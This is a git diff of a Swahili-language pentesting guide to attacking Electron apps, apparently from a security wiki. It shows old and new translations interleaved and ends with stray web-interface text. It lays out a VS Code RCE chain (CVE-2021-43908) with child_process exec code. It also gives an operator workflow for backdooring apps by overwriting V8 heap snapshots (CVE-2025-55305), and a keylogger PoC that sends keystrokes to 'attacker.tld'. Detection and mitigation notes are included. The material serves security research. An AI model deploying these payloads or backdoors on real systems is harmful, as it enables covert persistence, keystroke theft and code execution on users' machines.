## Content Security Policy
|
||||
|
||||
Apps za Electron zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia XSS attacks**. **CSP** ni standard ya usalama inayosaidia **kuzuia** utekelezaji wa **untrusted code** kwenye browser.
|
||||
Electron apps zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia XSS attacks**. **CSP** ni **kitanzi cha usalama** kinachosaidia **kuzuia** **utekelezaji** wa **untrusted code** katika browser.
|
||||
|
||||
Kwa kawaida imewekwa katika faili ya **`main.js`** au kwenye template ya **`index.html`** kwa kuweka CSP ndani ya **meta tag**.
|
||||
Kwa kawaida huwekwa katika faili ya **`main.js`** au katika templeti ya **`index.html`** na CSP ndani ya **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -400,16 +401,39 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Vifaa**
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kubaini misconfigurations na security anti-patterns katika Electron-based applications.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni plugin ya VS Code ya open source kwa Electron applications inayotumia Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kwa kuangalia third party libraries zenye udhaifu
|
||||
Mnyororo huu wa dunia halisi uliathiri Visual Studio Code 1.63 (CVE-2021-43908) na unaonyesha jinsi XSS moja inayosababishwa na markdown katika webview inaweza kuinuliwa hadi RCE kamili wakati CSP, postMessage, na scheme handlers vimetengenezwa vibaya. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- Kwanza XSS kupitia webview CSP: CSP iliyotengenezwa ilijumuisha `style-src 'self' 'unsafe-inline'`, ikiruhusu inline/style-based injection katika muktadha wa `vscode-webview://`. Payload ilituma beacon kwa `/stealID` ili ku-exfiltrate extensionId ya webview lengwa.
|
||||
- Kujenga URL ya webview lengwa: Kutumia leaked ID kujenga `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Pili XSS kupitia postMessage trust: webview ya nje iliamini `window.postMessage` bila ukaguzi mkali wa origin/type na ilipakia HTML ya mshambuliaji na `allowScripts: true`.
|
||||
- Kupakia faili za ndani kupitia scheme/path rewriting: payload ilibadilisha `file:///...` kuwa `vscode-file://vscode-app/...` na kubadilisha `exploit.md` kwa `RCE.html`, ikitumia udhaifu wa path validation kupakia rasilimali ya ndani yenye ruhusa za juu.
|
||||
- RCE katika muktadha ulio na Node: HTML iliyopakuliwa ilitekelezwa na Node APIs zikipatikana, ikitoa utekelezaji wa amri za OS.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
// RCE.html (executed in a Node-enabled webview context)
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Usomaji unaohusiana na masuala ya uaminifu ya postMessage:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Zana**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni zana ya kutambua misanidi isiyo sahihi na security anti-patterns katika programu zinazotegemea Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni plugin ya VS Code ya chanzo wazi kwa programu za Electron inayotumia Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kwa kuchunguza maktaba za third party zilizo hatarini
|
||||
- [**Electro.ng**](https://electro.ng/): Unahitaji kununua
|
||||
|
||||
## Maabara
|
||||
|
||||
Katika [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ya kutumia exploit dhidi ya vulnerable Electron apps.
|
||||
Katika [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ya ku-exploit programu za Electron zilizo hatarini.
|
||||
|
||||
Baadhi ya amri zitakazokusaidia katika maabara:
|
||||
```bash
|
||||
@ -436,18 +460,18 @@ npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Apps za Electron na zile zinazotegemea Chromium hudeserialize prebuilt V8 heap snapshot wakati wa startup (v8_context_snapshot.bin, na hiari browser_v8_context_snapshot.bin) ili kuanzisha kila V8 isolate (main, preload, renderer). Kihistoria, Electron’s integrity fuses hazikutofautisha snapshots hizi kama executable content, hivyo zilitoka kwenye enforcement ya integrity ya fuse na checks za OS code-signing. Kwa hivyo, kubadilisha snapshot kwenye usakinishaji unaoweza kuandikwa na mtumiaji kuliwezesha utekelezaji wa code kwa utendakazi wa siri na wa kudumu ndani ya app bila kuharibu binaries zilizotiwa saini au ASAR.
|
||||
Electron na apps zinazotegemea Chromium hufanya deserialize ya prebuilt V8 heap snapshot wakati wa startup (v8_context_snapshot.bin, na hiari browser_v8_context_snapshot.bin) ili kuanzisha kila V8 isolate (main, preload, renderer). Kihistoria, integrity fuses za Electron hazikutumia snapshots hizi kama executable content, hivyo zilitoroka enforcement ya integriti inayotegemea fuses na ukaguzi wa OS wa code-signing. Kwa matokeo, kubadilisha snapshot kwenye install inayoweza kuandikwa na mtumiaji kulitoa execution ya code kwa siri na kudumu ndani ya app bila kubadilisha signed binaries au ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation na OnlyLoadAppFromAsar zinathibitisha JavaScript ya app ndani ya ASAR, lakini hazikucover V8 heap snapshots (CVE-2025-55305). Chromium kwa namna ile ile haifanyi integrity-check kwa snapshots.
|
||||
- Attack preconditions: Uandishi wa faili kwa eneo la usakinishaji la app na mtumiaji. Hii ni ya kawaida kwenye mifumo ambapo apps za Electron au browsers za Chromium zimesakinishwa kwenye paths zinazoweza kuandikwa na mtumiaji (mfano: %AppData%\Local kwenye Windows; /Applications kwa caveats kwenye macOS).
|
||||
- Effect: Utekelezaji wa kuaminika wa attacker JavaScript katika isolate yoyote kwa kuandika juu builtin inayotumika mara kwa mara (gadget), kuruhusu persistence na kuepuka verification ya code-signing.
|
||||
- Affected surface: Electron apps (hata zikiwa na fuses zimewezeshwa) na browsers za msingi wa Chromium zinazolisoma snapshots kutoka locations zinazoweza kuandikwa na mtumiaji.
|
||||
Mambo muhimu
|
||||
- Pengo la integriti: EnableEmbeddedAsarIntegrityValidation na OnlyLoadAppFromAsar huthibitisha JavaScript ya app ndani ya ASAR, lakini hazikujumuisha V8 heap snapshots (CVE-2025-55305). Chromium kwa namna sawa haifanyi integrity-check ya snapshots.
|
||||
- Masharti ya awali ya shambulio: Kuandika faili kwa ndani kwenye saraka ya usakinishaji ya app. Hii ni kawaida kwenye mifumo ambapo Electron apps au Chromium browsers zinasakinishwa chini ya njia zinazoweza kuandikwa na mtumiaji (mfano, %AppData%\Local kwenye Windows; /Applications kwa tahadhari kwenye macOS).
|
||||
- Athari: Utekelezaji wa kuaminika wa attacker JavaScript katika isolate yoyote kwa kuathiri builtin inayotumiwa mara kwa mara (gadget), kuwezesha kudumu na kuepuka ukaguzi wa code-signing.
|
||||
- Sehemu zilizoathiriwa: Electron apps (hata kama fuses zimeshawashwa) na browsers zinazotegemea Chromium ambazo zinapakia snapshots kutoka maeneo yanayoweza kuandikwa na mtumiaji.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Tumia prebuilt electron/mksnapshot ili kukompaila payload JS ndani ya snapshot na kuoverwrite v8_context_snapshot.bin ya application.
|
||||
Kutengeneza snapshot hatari bila kujenga Chromium
|
||||
- Tumia prebuilt electron/mksnapshot ili kompaila payload JS kuwa snapshot na kuandika juu v8_context_snapshot.bin ya application.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
Mfano wa payload mdogo (thibitisha utekelezaji kwa kulazimisha crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
@ -461,11 +485,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (endesha code tofauti katika main vs. renderer)
|
||||
- Uchunguzi wa mchakato mkuu: Globali za Node pekee kama process.pid, process.binding(), au process.dlopen zipo katika isolate ya mchakato mkuu.
|
||||
- Uchunguzi wa browser/renderer: Globali za browser pekee kama alert zinapatikana wakati zinapoendeshwa katika muktadha wa document.
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Utambuzi wa main process: Node-only globals kama process.pid, process.binding(), au process.dlopen zipo katika main process isolate.
|
||||
- Utambuzi wa Browser/renderer: Browser-only globals kama alert zinapatikana wakati zinapoendeshwa katika document context.
|
||||
|
||||
Mfano wa gadget unaochunguza uwezo wa Node wa mchakato mkuu mara moja
|
||||
Mfano wa gadget inayochunguza uwezo wa Node wa main-process mara moja
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -494,7 +518,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context wizi wa data PoC (kwa mfano, Slack)
|
||||
Renderer/browser-context data theft PoC (kwa mfano, Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -518,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Mtiririko wa mwendeshaji
|
||||
1) Andika payload.js ambayo inaharamisha builtin ya kawaida (mfano, Array.isArray) na, hiari, igawie matawi kwa kila isolate.
|
||||
Mtiririko wa kazi wa Operator
|
||||
1) Andika payload.js ambayo inandika juu ya builtin ya kawaida (mfano, Array.isArray) na hiari kupanga matawi kwa kila isolate.
|
||||
2) Jenga snapshot bila vyanzo vya Chromium:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Andika juu ya faili(ti) za snapshot za programu lengwa:
|
||||
- v8_context_snapshot.bin (inayotumika kila wakati)
|
||||
3) Badilisha/andika juu ya faili za snapshot za programu lengo:
|
||||
- v8_context_snapshot.bin (huitumika kila wakati)
|
||||
- browser_v8_context_snapshot.bin (ikiwa fuse ya LoadBrowserProcessSpecificV8Snapshot inatumiwa)
|
||||
4) Anzisha programu; gadget itatekelezwa kila wakati builtin iliyochaguliwa inapotumika.
|
||||
4) Zindua programu; gadget itaendesha kila wakati builtin iliyochaguliwa itapotumika.
|
||||
|
||||
Vidokezo na mambo ya kuzingatia
|
||||
- Kupitisha uadilifu/sahihi ya saini: Faili za snapshot hazichukuliwi kama native executables na ukaguzi wa code-signing na (kihistoria) hazikutumika chini ya fuses za Electron au udhibiti wa uadilifu wa Chromium.
|
||||
- Uendelevu: Kubadilisha snapshot katika usakinishaji unaoweza kuandikwa na mtumiaji kawaida hudumu baada ya kuanzishwa upya kwa app na huonekana kama app iliyosainiwa, halali.
|
||||
- Chromium browsers: Dhana ile ile ya kuharibu inatumika kwa Chrome/derivatives zilizowekwa katika maeneo yanayoweza kuandikwa na mtumiaji. Chrome ina hatua nyingine za ulinzi wa uadilifu lakini kwa uwazi inatoa kuwa mashambulizi ya kimwili yaliyopo mahali hayajumuishwi katika mfano wake wa tishio.
|
||||
- Integrity/signature bypass: Faili za snapshot hazitendewi kama native executables kwa code-signing checks na (kihistoria) hazikuwa zimetengwa na fuses za Electron au udhibiti wa integrity wa Chromium.
|
||||
- Persistence: Kubadilisha snapshot katika usakinishaji unaoweza kuandikwa na mtumiaji kwa kawaida huishi baada ya kuanzisha upya app na inaonekana kama app iliyosainiwa na halali.
|
||||
- Chromium browsers: Dhana sawa ya kuingilia inatumika pia kwa Chrome/derivatives zilizowekwa katika maeneo yanayoweza kuandikwa na mtumiaji. Chrome ina mbinu nyingine za kupunguza integrity lakini kwa uwazi hutaja kuwa physically local attacks ziko nje ya threat model yake.
|
||||
|
||||
Ugunduzi na hatua za kupunguza
|
||||
- Tibu snapshots kama maudhui yanayoweza kutekelezwa na uzijumlishe kwenye utekelezaji wa uadilifu (CVE-2025-55305 fix).
|
||||
- Pendelea maeneo ya usakinishaji yanayoweza kuandikwa tu na admin; tengeneza mstari wa msingi na fuatilia hashes za v8_context_snapshot.bin na browser_v8_context_snapshot.bin.
|
||||
- Gundua ufisadi wa builtin kwa wakati wa awali wa runtime na mabadiliko yasiyotarajiwa ya snapshot; toa tahadhari wakati snapshots zilizodeserialishwa hazilingani na thamani zilizotarajiwa.
|
||||
Utambuzi na mbinu za kupunguza
|
||||
- Tibu snapshots kama maudhui ya executable na uyajumlishie katika utekelezaji wa integrity (CVE-2025-55305 fix).
|
||||
- Pendelea maeneo ya usakinishaji yanayoweza kuandikwa tu na admin; weka baseline na fuatilia hashes za v8_context_snapshot.bin na browser_v8_context_snapshot.bin.
|
||||
- Gundua early-runtime builtin clobbering na unexpected snapshot changes; toa tahadhari wakati deserialized snapshots hazilingani na thamani zinazotarajiwa.
|
||||
|
||||
## **Marejeo**
|
||||
## **References**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
@ -548,7 +576,6 @@ Ugunduzi na hatua za kupunguza
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user